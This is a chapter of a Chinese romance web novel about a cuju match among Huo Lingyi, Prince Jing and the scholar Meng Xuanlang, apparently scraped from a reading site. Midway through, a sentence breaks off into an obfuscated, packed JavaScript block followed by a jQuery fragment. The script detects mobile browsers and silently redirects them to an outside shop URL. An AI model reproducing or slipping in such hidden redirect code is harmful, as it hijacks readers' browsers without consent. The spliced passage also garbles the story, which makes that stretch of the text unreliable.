海月火玉 作品

16. 愿意

孟玄朗倒是第一次与景王产生交集。


其余人与景王都是朋友关系,唯独他不是。


他思索片刻,主动走上前与景王作揖行礼道:“下官孟玄朗,见过景王殿下。”


越少珩没接话,只是冷着脸上下打量起眼前的孟玄朗,黑沉沉的眸子里无波无澜,不知在想些什么。


直到一旁的霍令仪不断咳嗽着,用眼神瞪他提醒,越少珩才淡淡地嗯了一声,之后便没有了下文。


孟玄朗抬头瞥了眼面前神情冷淡的俊美男人,他留给自己的只有半张脸,看上去并没有与自己交谈的意思。


果然如传闻中那般,是位傲慢的王爷。


但无视自己的这股傲慢中,孟玄朗莫名能感觉到一股敌意,若有似无。


深思过后,他又觉得是自己多虑,景王只是单纯的傲慢罢了。


他们没有交集,何来敌意?


孟玄朗退至一旁不再多言,他身份低微,不入景王眼也是正常。


“孟老师,别见外了,快坐下来一起尝尝。”霍珣见孟玄朗有些约束局促,便主动上前拉他坐下讲话。


闲杂人等走了,越少珩才正眼看向霍令仪,似乎有话想同她说。


可是霍令仪半分心神都不在他身上,挤进矮榻上,与盛娴挨在一块。


盛娴问她:“你要哪个?”


霍令仪懒得净手,于是靠在盛娴肩膀上,目不转睛盯着瓷碟里的奶皮酥:“奶皮酥,我最爱奶皮酥了,可是热的?热的才好吃!”


盛娴用木筷给她夹了一块不大不小的奶皮酥送到她嘴边。


奶皮酥新鲜出炉还带着热度,霍令仪咬了一口便觉得烫嘴,但未净手,脏兮兮的不敢拿,只好叼在嘴里用手扇风等温度适宜再品尝。


矮榻上各人聊得热火朝天,霍珣和孟玄朗探讨蹴鞠技巧,郭信回因照顾盛娴得力被她投喂了一口,夫妻眼里没有第二个人。


只有越少珩被冷落。


他看上去并没有落座的意思,抱臂站在原地,冷冷淡淡,一副生人勿近之姿。


虽面无表情,但态度里的孤傲,却是实实在在的,与底下的热络形成对比。


霍令仪注意到他还未落座。


矮榻上共挤了五个人,疏疏坐着所以才显得拥挤,若再挤挤,还能再坐下一人。


他明明可以开个尊口,让大家挤一挤,但他就是不愿意。


真是矫情啊。


可他就这么站着,未免也太显眼,不知情的还以为他们排挤景王呢,这说出去谁敢信。


霍令仪实在看不过去,伸出脚来,脚尖勾到他的衣摆,终于把他的目光吸引过来。


越少珩垂眸,顺着那双牡丹绣花鞋看去。


霍令仪微微坐起身,往后挪了挪让出一个空位来,因咬着奶皮酥的缘故,并未出声,潋滟的桃花眼眨巴眨巴,用眼神示意他坐下。


她这是什么意思,命令吗?


越少珩冷笑一声不搭理,他根本就不想坐。


他别过一张脸,冷得不可方物。


忽然,一双脏兮兮的手攥住了他的衣摆。


上好的云锦皱作一团,留下一道黑手印。


他沉着一张脸,往黑手印的始作俑者看去。


霍令仪恍若不觉,用力扯着,再次用眼神示意,这次还抬了抬下巴,眼里命令的意味更浓。


越少珩面无表情,扯着自己的衣摆与她抗衡。


那么拥挤的小榻,又是一群不熟的人,真当他这个王爷是谁都可以亲近的吗?


霍令仪耐心耗尽,伸手抓住他的手腕,以一种不可抗拒的力道拉扯他坐下。


居高临下的人,忽然与众人平起平坐。


霍令仪嘴里的奶皮酥终于可以入口,她三下五除二嚼进嘴里,含糊不清道:“让你坐就坐,矫情鬼。”


霍令仪说得含糊极了,越少珩听不大清楚。


郭信回放了一盏冰饮到他案几前:“小舅舅,紫苏饮来一杯吗?”


盛娴把放了几味点心的瓷碟放至他面前:“听说是王爷请的,破费了。”


霍珣咬着蛋黄酥,举盏致谢:“原来是景王请的,多谢景王。”


孟玄朗也放下筷子,含笑拱手说道:“多谢景王殿下。”


越少珩面无表情端起茶盏,轻描淡写道:“小事罢了。”


云霞色的茶汤,气味芳香,酸甜回甘,也没那么难喝。


席间火热,打闹说笑,空旷的馆内回荡着欢声笑语。


茶饱饭足,歇息过后,郭信回提议今日人齐不如小赛一场练练默契。


场上正好六人,要不是多了一个孟玄朗都凑不齐人数。


孟玄朗起先婉拒,直言自己刚接触不久,怕踢不好坏了大家兴致,最后还是在霍令仪和霍珣的鼓励下,才勉强答应下来。


说好的抽签也因为要照顾孟玄朗这个新手,干脆直接划分阵营。


一丈高的风流眼球门下面,霍令仪与越少珩各自率队,掷铜钱选先后。


铜钱在空中飞速转动,落地后,国号在上,由越少珩先手。


霍令仪喊住抱着蹴鞠转身的越少珩,委婉道:“景王殿下,你让着点,切磋点到为止。”


方才他们劝孟玄朗的时候,越少珩已经知道这人什么也不会,他觉得莫名其妙,拉他进来做什么,起到一个陪练的作用吗?还不如让兴云社的人上。


越少珩看着她身后队伍里的孟玄朗和霍珣,毫不心软:“为何要让?这是比赛,三日后你也要对面的人让?”


霍令仪怒道:“强词夺理,能一样吗?”


越少珩挑眉质疑:“不认真踢的比赛,有比的意义?”


霍令仪一时无言以对,比就比,她还怕他不成!


两人背道而驰,各自归队。


一声锣响,比赛便开始了。


正如孟玄朗所担忧的那样,这场蹴鞠赛毫无悬念,完全是以景王一方压倒性的胜利结束。


蹴鞠几乎都在越少珩一队手里轮转。


好些时候被霍令仪截断,她都是毫不犹豫传给孟玄朗让他参与其中。


面对她的好意,孟玄朗存着认真对待的心。


才练了一个多时辰不到的人,上场后蹴鞠竟然都未落地。


只是他还来不及高兴,蹴鞠就被景王重新抢走,一切徒劳。


孟玄朗面对景王不留情面的抢夺,他也是一脸无奈。


赛后看着悬殊巨大的比分,沉默着孤身走到场下歇息。


越少珩春风得意马蹄疾,犹未尽兴,本就嫌弃孟玄朗拖后腿,见他主动离开,于是招呼二对二。


二对二,便有一人会落单。


霍令仪毫不犹疑地退出队伍,让他们四个人玩,自己去陪孟玄朗。


越少珩看着她离开的背影,脸上的笑意渐渐消散。


霍珣其实也不尽兴,好不容易碰上景王这样的高手,切磋学习还来不及,因而他是除越少珩外响应最积极的人。


盛娴和郭信回则是想走也走不了,只好继续跟他们二人陪练。


少了孟玄朗参与,不需要让球,他们的水平也可以尽情发挥。


但是盛娴和郭信回却感觉有几分不对劲,二人对视了一眼。


景王这球怎么那么难抢,比对孟玄朗那会还狠。


郭信回近身抢蹴鞠时被越少珩撞得肩膀生疼,隐隐感觉到他带了火气在踢。


开口讨饶求他让着些,他非但不肯,还绷着脸让他拿真本事来抢。


郭信回那叫一个委屈,他也得抢得到才行。


*


下了场的霍令仪挪到塌边跟孟玄朗并肩而坐,她悄悄观察孟玄朗的神情,很是关切。


孟玄朗只有十六岁,比她弟弟大两岁。


在她眼里看来,十几岁的少年,正是最争强好胜、最要面子的年纪。


霍珣更稚气一些,什么都摆在脸上。


但是孟玄朗却好似什么输赢都不在乎一样,被落了面子也没有生气。


要是她被人欺负到这头上,怒火冲天非得找他打一架才成。


为何他不生气呢?


孟玄朗注意到她的关心,笑着说道:“霍小姐不必为我担心,我没事。”


霍令仪偏头看他,眼里的担忧溢于言表:“你没生气吧,景王他为人独断专行,霸道又不讲理,只顾着自己开心,伤害了别人也不知道,你才学蹴鞠不久,他却是个老手,仗着本事欺负人,好没道理。”


孟玄朗苦笑:“也不怪景王,是我确实拿不出手。”


霍令仪摆手:“不会,不会,术业有专攻,你可是被圣上钦点的状元,我舅舅夸你文章作得好,不仅文采斐然,见地深刻,还写的一手好字,将来定有造化。”


霍令仪的舅舅冯止是翰林学士,也是孟玄朗的恩师。


“冯老师谬赞了,我没有那么好。将来的事将来再说吧。”孟玄朗想


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14572058|155699||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


到自己的仕途,难免有几分伤春悲秋。


历届的状元无不登科后一路顺遂,只有他被吏部发派到国子监屈就,也不知何时能出头。


他知道自己得罪了人,一时难以翻身,冯老师劝他韬光养晦,他也只能沉淀。


他才十六岁,人生还有很长,不急于一时。


不想谈及自身,孟玄朗便主动将话题拉回越少珩身上:“霍小姐与景王相熟,为何不找他帮忙?我看他球技高超,要是上场,一定能助你们赢下比赛。”


“他拒绝我了呀。”霍令仪想也不想回答。


那日在场外等霍珣,她就给他抛过橄榄枝,可是他冷冰冰地拒绝了她,还骂她蠢,这谁能忍!


“可我看他似乎很想加入你们,何不再问问?”


霍令仪抱着膝盖,小声嘟囔,声若蚊蝇:“但是我想你帮我。”


“嗯?”孟玄朗没有听清楚。


霍令仪歪头,故作可怜地睁着一双盈盈动人的桃花眼看他:“你不愿意帮我吗?”


对上姑娘家示弱般求助的眼神,是个人都会忍不住心软。


孟玄朗也是如此,可他却也很清楚自己的能力,不愿逞强害了他们:“并非不愿意,只是我能力有限,如果霍小姐真的想赢,其实应该去找能力更强的人,譬如景王。”


霍令仪很清楚孟玄朗说的话是对的,徐明受伤的消息传来时,她想到的第一个人就是越少珩。


只是那日他又说了那样一番话,实打实的拒绝她,她还怎么好意思再开口求人?


所以她才想起去找孟玄朗,死马当活马医。


最初孟玄朗也是拒绝的,她费了一番口舌才把人说服。


但其实她的这番请求对他来说是真的强人所难吧。


可是再去求越少珩,他会答应吗?


霍令仪看向场下与霍珣配合无间的越少珩,心里拿不定主意,转头问身边的人:“你说他真的有这个想法?”


“我觉得有吧,你觉得他没有吗?”


霍令仪也说不上来。


今日他的到来令人倍感意外,她找郭信回说这事,只是期待他能找到靠谱的人,却没想到把越少珩招来了。


他到底是愿意,还是不愿意?


慢慢的,她就想明白了。


应该是愿意的。


不愿意又怎么会来?


总不能是来落井下石,看她找不到人在这儿焦头烂额的笑话吧。


霍令仪咬着下唇,眼睛滴溜溜地看着场下的越少珩。


要不再去问问?


*


风流眼中蹴鞠飞来又去。


下面计数的奴仆靠在柱子旁,翻牌子的手都已经麻木了。


又下一局,蹴鞠是这么容易踢的吗?这位公子是怎么做到百投百中的?


“不来了,我和阿娴累了,先去歇会。”郭信回一个大男人被如此拉练都累得不行,更遑论自己的妻子,说罢便拉着盛娴头也不回地离开了蹴鞠场。


霍珣的眼睛瞪得噌亮,像是一团不会熄灭的火。


虽然墨发都湿了,脸上也丝毫不见疲惫的样子。


他走到越少珩面前,求教道:“殿下能不能指点我一下。”


越少珩淡淡瞥他一眼,对上少年那双相似的桃花眼。


瞳眸清澈,一片赤诚。


他没有拒绝,给了他两分薄面。


霍珣欢天喜地蹦了起来:“多谢殿下,殿下您真是菩萨心肠。”


越少珩忽然嗤笑了一声,怎么连夸人都是一样的。


不过霍珣这小子倒是比他姐姐温顺不少,要是霍令仪也这样温顺……


那就不是霍令仪了。


他在心底否定了这个想法。


越少珩倾囊相教,霍珣也学得认真。


一番教学下来,他感觉如醍醐灌顶,一下打通了不少节点。


与景王熟络了以后,霍珣也没有之前那样紧张,还敢跟他说说心里话:“殿下要是也能来比赛就好了。”


越少珩眼神一凝,茶色眼眸闪过疑惑,状似漫不经心地问道:“五缺一,你们找了谁?”


霍珣一五一十告诉了他:“孟老师,阿姐今早去找的他,我也没想到孟老师愿意答应帮忙。”


“所以……”


根本就没有找他的意思。


越少珩意识到这一点,脸色骤然变得难看起来。


原来是他自作多情了。